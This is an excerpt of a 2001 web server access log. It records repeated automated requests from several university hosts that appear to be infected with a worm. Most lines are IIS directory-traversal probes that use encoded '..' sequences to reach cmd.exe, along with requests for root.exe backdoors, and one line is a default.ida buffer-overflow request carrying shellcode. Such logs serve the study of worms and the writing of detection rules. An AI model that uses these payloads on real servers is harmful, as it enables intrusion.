  11173. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11174. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11175. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11176. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11177. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11178. 20010919 14:25:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11179. 20010919 14:26:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11180. 20010919 14:26:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11181. 20010919 14:26:01: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11182. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11183. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11184. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11185. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11186. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11187. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11188. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11189. 20010919 14:36:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11190. 20010919 14:36:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11191. 20010919 14:36:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11192. 20010919 14:36:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11193. 20010919 14:36:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11194. 20010919 14:36:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11195. 20010919 14:36:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11196. 20010919 14:36:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11197. 20010919 14:36:27: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11198. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11199. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11200. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11201. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11202. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11203. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11204. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11205. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11206. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11207. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11208. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11209. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11210. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11211. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11212. 20010919 14:42:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11213. 20010919 14:42:59: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11214. 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11215. 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11216. 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11217. 20010919 14:43:53: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11218. 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11219. 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11220. 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11221. 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11222. 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11223. 20010919 14:43:54: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11224. 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11225. 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11226. 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11227. 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11228. 20010919 14:43:55: d-128-68-76.bootp.Virginia.EDU [128.143.68.76] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11229. 20010919 14:43:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11230. 20010919 14:49:21: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11231. 20010919 14:49:21: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11232. 20010919 14:49:21: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11233. 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11234. 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11235. 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11236. 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11237. 20010919 14:49:23: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11238. 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11239. 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11240. 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11241. 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11242. 20010919 14:49:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11243. 20010919 14:49:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11244. 20010919 14:49:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11245. 20010919 14:49:25: bus84-017.gsb.columbia.edu [128.59.84.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  11246. 20010919 14:59:22: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11247. 20010919 15:02:02: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11248. 20010919 15:02:03: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11249. 20010919 15:02:03: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11250. 20010919 15:02:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11251. 20010919 15:02:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11252. 20010919 15:02:05: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11253. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11254. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11255. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11256. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11257. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11258. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11259. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11260. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11261. 20010919 15:02:06: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11262. 20010919 15:02:06: wily-b-150.resnet.purdue.edu [128.211.225.150] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11263. 20010919 15:03:24: wily-b-150.resnet.purdue.edu [128.211.225.150] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11264. 20010919 15:03:28: wily-b-150.resnet.purdue.edu [128.211.225.150] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11265. 20010919 15:03:36: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11266. 20010919 15:08:50: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11267. 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11268. 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11269. 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11270. 20010919 15:08:51: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11271. 20010919 15:08:52: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11272. 20010919 15:08:52: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11273. 20010919 15:08:52: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11274. 20010919 15:08:54: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11275. 20010919 15:08:54: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11276. 20010919 15:08:56: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11277. 20010919 15:08:57: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11278. 20010919 15:09:01: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11279. 20010919 15:09:01: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11280. 20010919 15:09:02: pistachio.Chance.Berkeley.EDU [128.32.172.171] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11281. 20010919 15:09:02: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11282. 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11283. 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11284. 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11285. 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11286. 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11287. 20010919 15:12:07: nia6.fsw.utoronto.ca [128.100.173.86] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11288. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11289. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11290. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11291. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11292. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11293. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11294. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11295. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11296. 20010919 15:12:08: nia6.fsw.utoronto.ca [128.100.173.86] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11297. 20010919 15:12:08:  [63.83.98.226] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11298. 20010919 15:19:45:  [63.83.98.226] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11299. 20010919 15:20:06:  [63.83.98.226] ""
  11300. 20010919 15:20:37:  [63.83.98.226] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11301. 20010919 15:20:55:  [63.83.98.226] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11302. 20010919 15:21:20:  [63.83.98.226] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11303. 20010919 15:21:42:  [63.83.98.226] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11304. 20010919 15:22:00:  [63.83.98.226] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11305. 20010919 15:22:22:  [63.83.98.226] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11306. 20010919 15:22:40:  [63.83.98.226] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11307. 20010919 15:22:59:  [63.83.98.226] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11308. 20010919 15:23:17:  [63.83.98.226] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11309. 20010919 15:23:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11310. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11311. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11312. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11313. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11314. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11315. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11316. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11317. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11318. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11319. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11320. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11321. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11322. 20010919 15:23:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11323. 20010919 15:24:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11324. 20010919 15:24:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11325. 20010919 15:24:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11326. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11327. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11328. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11329. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11330. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11331. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11332. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11333. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11334. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11335. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11336. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11337. 20010919 15:29:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11338. 20010919 15:29:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11339. 20010919 15:29:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11340. 20010919 15:29:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11341. 20010919 15:29:38: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11342. 20010919 15:43:27: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  11343. 20010919 15:43:27: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11344. 20010919 15:43:27: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11345. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11346. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11347. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11348. 20010919 15:43:28: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
